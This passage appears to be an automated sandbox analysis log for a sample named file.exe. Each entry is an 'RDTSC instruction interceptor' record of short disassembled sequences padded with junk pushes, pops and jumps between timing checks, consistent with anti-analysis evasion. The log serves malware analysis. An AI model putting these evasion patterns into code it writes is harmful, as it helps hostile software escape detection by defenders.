Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69567 second address: D6956B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D698C8 second address: D69902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054978h 0x00000007 pushad 0x00000008 jmp 00007FDF2105496Ch 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007FDF21054966h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69902 second address: D69912 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69912 second address: D69923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 ja 00007FDF21054966h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69923 second address: D69928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69928 second address: D69934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDF21054966h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69934 second address: D69938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69D91 second address: D69DC1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007FDF21054970h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDF21054970h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A3B1 second address: D6A3BB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDF21133ACCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A3BB second address: D6A3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007FDF21054966h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72790 second address: D72796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72796 second address: D727A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DB6E second address: D2DB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DB77 second address: D2DB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DD32 second address: D2DD5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FDF21133ACCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E1E9 second address: D2E1F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E2FE second address: D2E304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E387 second address: D2E398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FDF2105496Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E398 second address: D2E39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E4B8 second address: D2E4BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E4BE second address: D2E4C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E6BA second address: D2E734 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FDF21054968h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 pushad 0x00000027 jmp 00007FDF21054973h 0x0000002c sbb ah, FFFFFFCDh 0x0000002f popad 0x00000030 push 00000004h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FDF21054968h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D17D6h], ebx 0x00000052 mov edx, 55951E0Ah 0x00000057 nop 0x00000058 push edx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E734 second address: D2E73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EF57 second address: D2EF5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F04E second address: D2F068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF21133AD6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15832 second address: D1583A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1583A second address: D1584D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FDF21133ACAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72A8C second address: D72A92 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72A92 second address: D72A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72A98 second address: D72AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF21054970h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72AAE second address: D72AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72AB9 second address: D72AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDF21054966h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72C61 second address: D72C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDF21133AD5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72C7F second address: D72CB7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FDF21054976h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDF2105496Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007FDF21054966h 0x00000018 jg 00007FDF21054966h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72CB7 second address: D72CC1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDF21133AC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72F40 second address: D72F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop eax 0x0000000a jl 00007FDF210549A5h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72F53 second address: D72F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72F5D second address: D72F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72F68 second address: D72F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7335E second address: D73364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73364 second address: D733A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b jmp 00007FDF21133AD9h 0x00000010 jng 00007FDF21133AE2h 0x00000016 jmp 00007FDF21133AD6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0B11 second address: CF0B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDF21054966h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7660E second address: D76616 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76616 second address: D76625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF2105496Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79050 second address: D79066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007FDF21133AC8h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79066 second address: D7906C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7906C second address: D79072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79072 second address: D79077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E328 second address: D7E35D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF21133AD4h 0x00000008 jmp 00007FDF21133AD2h 0x0000000d jns 00007FDF21133AC6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D9E0 second address: D7D9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFA3 second address: D7DFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFA7 second address: D7DFAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFAB second address: D7DFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFBA second address: D7DFC0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFC0 second address: D7DFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFCD second address: D7DFD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DFD2 second address: D7DFEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF21133AD6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82223 second address: D8222C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D817DE second address: D817E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D817E2 second address: D817F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF2105496Dh 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D817F9 second address: D817FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81954 second address: D8196B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 pushad 0x00000008 jl 00007FDF21054966h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8196B second address: D8196F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81C32 second address: D81C3E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF2105496Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81C3E second address: D81C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81DAF second address: D81DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81DB3 second address: D81DB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81DB7 second address: D81DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81DC1 second address: D81DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81DC7 second address: D81DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FDF21054974h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86387 second address: D8638B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8638B second address: D86394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86549 second address: D86554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D867E0 second address: D867E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86977 second address: D86983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86983 second address: D86987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86987 second address: D86993 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007FDF21133AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86993 second address: D8699A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8699A second address: D869A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E979 second address: D2E97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E97D second address: D2E981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86C13 second address: D86C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF21054978h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FDF2105496Bh 0x00000010 popad 0x00000011 push eax 0x00000012 jc 00007FDF21054966h 0x00000018 jmp 00007FDF21054979h 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDF2105496Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86C6E second address: D86C72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8CC42 second address: D8CC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF2105496Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8CC50 second address: D8CC83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDF21133AD8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDF21133AD5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8CC83 second address: D8CCC1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FDF21054978h 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 je 00007FDF21054966h 0x00000018 pop edi 0x00000019 push esi 0x0000001a jmp 00007FDF21054970h 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8CCC1 second address: D8CCCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FDF21133AC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D70D second address: D8D718 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FDF21054966h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D991 second address: D8D9B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FDF21133AD5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D9B2 second address: D8D9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DC67 second address: D8DC6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DC6D second address: D8DC90 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FDF21054978h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DF32 second address: D8DF39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E4FC second address: D8E502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E502 second address: D8E507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E507 second address: D8E516 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDF2105496Ah 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96E8C second address: D96EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDF21133AC6h 0x0000000a jmp 00007FDF21133ACFh 0x0000000f popad 0x00000010 jnl 00007FDF21133AECh 0x00000016 push edi 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96EB6 second address: D96EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
